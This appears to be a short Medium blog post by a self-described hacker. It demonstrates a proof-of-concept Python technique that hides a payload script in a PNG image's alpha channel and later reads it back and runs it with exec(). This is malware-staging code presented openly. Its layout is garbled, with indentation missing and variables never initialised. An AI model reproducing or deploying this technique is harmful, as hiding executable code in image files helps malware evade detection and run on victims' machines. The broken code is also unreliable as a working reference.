Living of f the land with python

  1. First lets find an image with Alpha channel . I will use an image that that blender rendered . Blender renders by default conatain the alpha channel . You can use this image if you want
A CG version of my workspace
from PIL import Image
import numpy as np
im = Image.open("F:\\blender\\room.png")
img_arr = np.array(im)
print(img_arr.shape)
f = open("payload.py","r")
data = f.read()
for d in data:
d = ord(d)
payload.append(d)
while i<len(payload):
p = payload[i]
print(p)
img_arr[[0],[i],[3]] = p
i = i+1
im1 = Image.fromarray(img_arr)
im1.save("kiba.png")
def decode():   payload = ''
im = Image.open("kiba.png")
img_arr = np.array(im) print(img_arr.shape) i = 0 while i<26: d = img_arr[[0],[i],[3]] d = int(d) d = chr(d) payload = payload+d i = i+1 exec(payload)
The poc malware code

--

--

--

I am a hacker,programmer , 3D Artist

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Hello World! Meet Shehu

What’s new in Cocoa Touch (WWDC 2017 Session 201) TL;DR

Running localhost on android

Remote Debugging with IDA from Windows to Linux

Opening files in Sublime using CLI

Java Recent History — Java 8 [Part 1] -Default Method, Static Method and Lambda Expressions

Freelancing 101: The tools you need to manage your projects and your clients

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Ciph3r

Ciph3r

I am a hacker,programmer , 3D Artist

More from Medium

Persistence using unconventional methods

Ghyte.exe Malware, Full Analysis

Satyam Pathania

TryHackMe CTF Writeups: Mr. Robot